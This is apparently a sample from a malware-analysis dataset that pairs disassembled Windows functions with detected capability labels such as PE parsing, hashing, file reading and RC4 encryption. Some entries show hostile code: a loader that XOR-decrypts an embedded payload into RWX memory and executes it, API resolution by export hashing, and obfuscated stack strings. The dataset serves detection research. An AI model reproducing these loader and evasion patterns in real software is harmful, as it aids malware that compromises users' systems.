joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000f3f0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000f42a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000f42f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14000f478
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140012660]
cmp byte [rcx + rax], 0
je 0x14000f478
dec r8
sub rdx, 1
jne 0x14000f45e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140010a24
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140010a6e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140010a6e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140010a6e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140010a6e
cmp dword [rcx + 0x84], 0xe
jbe 0x140010a6e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140010a70
xor al, al
add rsp, 0x28
ret
Function at 0x100411cb0
Capabilities:
Encode data using xor

Disassembly:
xor eax, 0x35353535
xor eax, 0x35353535
xor eax, 0x35353535
jge 0x100411cf6
xor eax, 0x35703536
jo 0x100411cfe
invalid
invalid
and dword [rbx + 2], esp
xor eax, 0x35353535
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400043c0]
mov rcx, qword [0x140004370]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x1400043d0]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x1400043e0]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x1400043b0]
mov dword [0x14000700c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140004480]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140004460]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004320]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400013b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x110
lea rbp, [rsp + 0x80]
call sym.__main
movabs rax, 0xcaaaaaaaaa2842b6
movabs rdx, 0xff9afa6a99aa4f23
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0xa796aa028e1faafa
movabs rdx, 0x8cc3bc9aaa87aa9a
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0x3ac498a4aa86aafa
movabs rdx, 0xa486aa9a8e96aaa4
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x1298b6aa2b8a1baa
movabs rdx, 0xaa3ba5bbaa3b8e5c
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xa43a98a42b9696a7
movabs rdx, 0x96aa9894a41298a4
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xaa8aa884aafa9aa7
movabs rdx, 0xaa9a8e96aa98a412
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x4c4c9687aa96a486
movabs rdx, 0x2b9aa787aabbbcaa
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xfa8cc3bc9aaa9699
movabs rdx, 0xa43ac498a4aa86aa
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xaaa486aa9a8e96aa
movabs rdx, 0x5c1298b6aa2b8a1b
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xa7aa3ba5bbaa3b8e
movabs rdx, 0xa4a43a98a42b9696
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xa796aa9894a41298
movabs rdx, 0x12aa8aa884aafa9a
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x86aa9a8e96aa98a4
movabs rdx, 0xaa4c4c9687aa96a4
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x992b9aa787aabbbc
movabs rdx, 0xaafa8cc3bc9aaa96
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
mov dword [rbp + 0x6f], 0xaa86aa
mov dword [rbp + 0x8c], 0xd3
mov byte [rbp + 0x8b], 0xaa
movzx ecx, byte [rbp + 0x8b]
mov edx, dword [rbp + 0x8c]
lea rax, [rbp - 0x60]
mov r8d, ecx
mov rcx, rax
call sym.xor_decrypt
mov eax, dword [rbp + 0x8c]
cdqe
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x80], rax
mov eax, dword [rbp + 0x8c]
movsxd rcx, eax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x80]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x80]
call rax
mov eax, 0
add rsp, 0x110
pop rbp
ret

Function at 0x140001d90
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140007100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001ddc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140001dd6
test eax, eax
jne 0x140001dd6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140001dae
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140001f90
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140001fb3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140001fb3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140001fb4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140001fee
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140001fe5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140001ff0
inc r8d
add rax, 0x28
jmp 0x140001fcc
xor eax, eax
ret

Function at 0x140002061
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140004370]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x14000208d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x140007080
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
mov esi, eax
movabs eax, dword [0xda8b088900409214]
test ebx, ebx
jle 0x1400070a1
mov eax, 0xff
call fcn.140002680
xor byte [rsi], al
jne 0x140007091
pop rsi
pop rbx
ret

Function at 0x14000aec0
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
and qword [rdx], 0
lea rbp, [rcx + 0x28]
mov r14, rdx
mov rsi, rcx
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14000af17
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000af13
call fcn.140009a94
mov edi, eax
cmp eax, 0x80070012
jne 0x14000af92
and qword [r14], 0
xor eax, eax
jmp 0x14000afd2
xor edi, edi
jmp 0x14000af92
mov r9, qword [rsi + 0x20]
lea rdx, str._ls_ls
mov r8, qword [rsi + 0x18]
lea rcx, [rsp + 0x40]
and qword [rsp + 0x40], 0
call fcn.140006004
mov ebx, eax
test eax, eax
js 0x14000afc1
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14000af5a
cmp rcx, 0xffffffffffffffff
je 0x14000af55
call qword [sym.imp.KERNEL32.dll_FindClose]
and qword [rsi + 0x10], 0
mov rbx, qword [rsp + 0x40]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x14000af7f
call fcn.140009a94
mov edi, eax
add eax, 0x7ff8fffe
jmp 0x14000af85
mov qword [rsi + 0x10], rax
xor edi, edi
test rbx, rbx
je 0x14000af92
mov rcx, rbx
call fcn.14000b6a4
cmp edi, 0x80070012
je 0x14000af08
test edi, edi
js 0x14000afbd
test byte [rsi + 0x280], 2
je 0x14000afb5
test byte [rbp], 0x10
jne 0x14000aee0
mov qword [r14], rbp
jmp 0x14000af0c
mov eax, edi
jmp 0x14000afd2
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000afd0
call fcn.14000b6a4
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x14000b2c4
Capabilities:
Parse pe header

Disassembly:
test cx, cx
jne 0x14000b3a8
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, 0x5a4d
mov rdi, rcx
cmp word [rcx], ax
jne 0x14000b39e
test byte [rcx + 0x3c], 3
jne 0x14000b39e
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000b39e
cmp dword [rdx + 0x84], 6
jb 0x14000b39e
mov r8d, dword [rdx + 0x50]
mov r9d, dword [rdx + 0xb8]
lea eax, [r8 - 1]
lea ecx, [r9 - 1]
cmp ecx, eax
jae 0x14000b39e
mov ecx, dword [rdx + 0xbc]
mov eax, r8d
sub eax, r9d
cmp ecx, eax
ja 0x14000b39e
movabs rax, 0x2492492492492493
lea r10, [rdi + r9]
mul rcx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 4
test ecx, ecx
je 0x14000b39e
dec ecx
mov eax, ecx
imul rbx, rax, 0x1c
add rbx, r10
cmp dword [rbx + 0xc], 2
jne 0x14000b357
cmp dword [rbx + 0x14], r8d
jae 0x14000b357
mov eax, r8d
sub eax, dword [rbx + 0x14]
cmp dword [rbx + 0x10], eax
ja 0x14000b357
mov edx, 0x1c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualLock]
test eax, eax
je 0x14000b39e
mov ecx, dword [rbx + 0x14]
mov edx, dword [rbx + 0x10]
add rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualLock]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400010a0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x28
mov dword [rsp + 4], 0
jmp 0x1400010b8
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 0x100
jae 0x14000113f
mov eax, dword [rsp + 4]
mov dword [rsp + 8], eax
mov dword [rsp], 0
mov qword [rsp + 0x10], 0
jmp 0x1400010e9
mov rax, qword [rsp + 0x10]
inc rax
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x10], 8
jae 0x140001129
mov eax, dword [rsp]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
and eax, 1
mov dword [rsp + 0xc], eax
mov eax, dword [rsp]
shr eax, 1
mov dword [rsp], eax
cmp dword [rsp + 0xc], 0
je 0x14000111d
mov eax, dword [rsp]
xor eax, 0xedb88320
mov dword [rsp], eax
mov eax, dword [rsp + 8]
shr eax, 1
mov dword [rsp + 8], eax
jmp 0x1400010dc
mov eax, dword [rsp + 4]
lea rcx, [0x14177cf80]
mov edx, dword [rsp]
mov dword [rcx + rax*4], edx
jmp 0x1400010ae
add rsp, 0x28
ret
Function at 0x1400017c0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0xb0]
call fcn.1400012f0
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jge 0x140001836
mov eax, dword [rsp + 0x38]
jmp 0x1400019c9
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x50], eax
lea rcx, str.ntdll.dll
call fcn.140002370
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x140001867
xor eax, eax
jmp 0x1400019c9
mov edx, 0x790890c
mov rcx, qword [rsp + 0x78]
call fcn.140005e50
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x90]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x58]
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x48], 0x58
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
xor edx, edx
mov rax, qword [rsp + 0x48]
mov ecx, 2
div rcx
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x34], 0
mov r8d, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x34]
call fcn.140001710
movzx eax, ax
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x80]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
sub eax, 4
mov dword [rsp + 0x30], eax
xor edx, edx
mov eax, dword [rsp + 0x30]
mov ecx, 2
div ecx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x68], 0x5c
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov r8d, dword [rsp + 0x30]
mov rdx, rax
mov ecx, dword [rsp + 0x34]
call fcn.140001710
movzx eax, ax
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x40]
call fcn.140001670
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x54]
cmp dword [rsp + 0x58], eax
je 0x1400019c0
xor eax, eax
jmp 0x1400019c9
mov eax, 1
jmp 0x1400019c9
add rsp, 0xa8
ret
Function at 0x140004c30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x78
lea rcx, str.iphlpapi.dll
call fcn.140002110
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140004c54
xor eax, eax
jmp 0x140004e87
mov edx, 0x76f2120
mov rcx, qword [rsp + 0x60]
call fcn.140005e50
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140004c77
xor eax, eax
jmp 0x140004e87
mov dword [rsp + 0x40], 0x2c0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x2c0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140004caa
xor eax, eax
jmp 0x140004e87
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
call qword [rsp + 0x58]
cmp eax, 0x6f
jne 0x140004d09
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x68]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140004d09
xor eax, eax
jmp 0x140004e87
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
call qword [rsp + 0x58]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140004d29
xor eax, eax
jmp 0x140004e87
mov byte [rsp + 0x28], 0
mov byte [rsp + 0x29], 0xc
mov byte [rsp + 0x2a], 0x29
mov byte [rsp + 0x2b], 0
mov byte [rsp + 0x2c], 0x50
mov byte [rsp + 0x2d], 0x56
mov byte [rsp + 0x2e], 0x52
mov byte [rsp + 0x2f], 0x54
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x31], 0
mov byte [rsp + 0x32], 0x16
mov byte [rsp + 0x33], 0x3e
mov byte [rsp + 0x34], 0
mov byte [rsp + 0x35], 0xca
mov byte [rsp + 0x36], 0xfc
mov byte [rsp + 0x37], 0
mov byte [rsp + 0x38], 0x17
mov byte [rsp + 0x39], 0x5d
mov byte [rsp + 0x3a], 8
mov byte [rsp + 0x3b], 0
mov byte [rsp + 0x3c], 0x29
mov byte [rsp + 0x3d], 0
mov byte [rsp + 0x3e], 5
mov byte [rsp + 0x3f], 0xff
cmp qword [rsp + 0x20], 0
je 0x140004e85
mov qword [rsp + 0x48], 0
jmp 0x140004dc5
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 8
jae 0x140004e73
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax + 0x198]
imul rcx, qword [rsp + 0x48], 3
lea rcx, [rsp + rcx + 0x28]
mov edx, 1
imul rdx, rdx, 0
movsx ecx, byte [rcx + rdx]
cmp eax, ecx
jne 0x140004e6e
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax + 0x198]
imul rcx, qword [rsp + 0x48], 3
lea rcx, [rsp + rcx + 0x28]
mov edx, 1
imul rdx, rdx, 1
movsx ecx, byte [rcx + rdx]
cmp eax, ecx
jne 0x140004e6e
mov eax, 1
imul rax, rax, 2
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax + 0x198]
imul rcx, qword [rsp + 0x48], 3
lea rcx, [rsp + rcx + 0x28]
mov edx, 1
imul rdx, rdx, 2
movsx ecx, byte [rcx + rdx]
cmp eax, ecx
jne 0x140004e6e
mov eax, 1
jmp 0x140004e87
jmp 0x140004db8
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
jmp 0x140004da1
xor eax, eax
add rsp, 0x78
ret
Function at 0x140005b10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x148
mov dword [rsp + 0x20], 0
jmp 0x140005b3e
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x100
jae 0x140005b57
mov eax, dword [rsp + 0x20]
movzx ecx, byte [rsp + 0x20]
mov byte [rsp + rax + 0x40], cl
jmp 0x140005b34
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
jmp 0x140005b73
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x100
jae 0x140005bf6
mov eax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x40]
mov ecx, dword [rsp + 0x24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
xor edx, edx
mov eax, dword [rsp + 0x20]
div dword [rsp + 0x168]
mov eax, edx
mov eax, eax
mov rcx, qword [rsp + 0x160]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, edx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x40]
mov byte [rsp + 0x28], al
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x40]
mov byte [rsp + rcx + 0x40], al
mov eax, dword [rsp + 0x24]
movzx ecx, byte [rsp + 0x28]
mov byte [rsp + rax + 0x40], cl
jmp 0x140005b69
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x2c], 0
jmp 0x140005c1a
mov eax, dword [rsp + 0x2c]
inc eax
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x158]
cmp dword [rsp + 0x2c], eax
jae 0x140005cea
mov eax, dword [rsp + 0x20]
inc eax
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, edx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x40]
mov ecx, dword [rsp + 0x24]
add ecx, eax
mov eax, ecx
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, edx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x40]
mov byte [rsp + 0x29], al
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x40]
mov byte [rsp + rcx + 0x40], al
mov eax, dword [rsp + 0x24]
movzx ecx, byte [rsp + 0x29]
mov byte [rsp + rax + 0x40], cl
mov eax, dword [rsp + 0x2c]
mov qword [rsp + 0x38], rax
mov ecx, dword [rsp + 0x20]
movzx ecx, byte [rsp + rcx + 0x40]
mov edx, dword [rsp + 0x24]
movzx edx, byte [rsp + rdx + 0x40]
add ecx, edx
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
cdqe
movzx eax, byte [rsp + rax + 0x40]
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x38]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x150]
mov byte [rdx + rcx], al
jmp 0x140005c10
mov edx, 0x100
lea rcx, [rsp + 0x40]
call fcn.140005a10
mov eax, 1
add rsp, 0x148
ret
Function at 0x140005e50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0xa0], 0
jne 0x140005e7c
xor eax, eax
jmp 0x140005ff2
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 0x88]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x20], 0
jmp 0x140005f42
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x14]
cmp dword [rsp + 0x20], eax
jae 0x140005ff0
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x38], 0
mov rcx, qword [rsp + 0x70]
call fcn.140005d10
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xa8]
cmp qword [rsp + 0x78], rax
jne 0x140005feb
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax*4]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
jmp 0x140005ff2
jmp 0x140005f38
xor eax, eax
add rsp, 0x98
ret

Function at 0x140006e90
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rcx
mov rax, qword [rsp + 8]
mov qword [rax], 0
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0x67452301
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0xefcdab89
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0x98badcfe
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0x10325476
ret
Function at 0x140007610
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x14000766a
xor eax, eax
jmp 0x140007723
mov ecx, 0x400
call fcn.140006a80
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140007693
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140007723
lea rcx, [rsp + 0x60]
call fcn.140006e90
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, 0x400
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400076e4
cmp dword [rsp + 0x40], 0
jbe 0x1400076e4
mov eax, dword [rsp + 0x40]
mov r8d, eax
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.140006f00
jmp 0x14000769d
lea rcx, [rsp + 0x60]
call fcn.140007090
mov rcx, qword [rsp + 0x48]
call fcn.140006ab0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x10
lea rdx, [rsp + 0xb8]
mov rcx, qword [rsp + 0xe8]
call fcn.140006bf0
mov eax, 1
add rsp, 0xd8
ret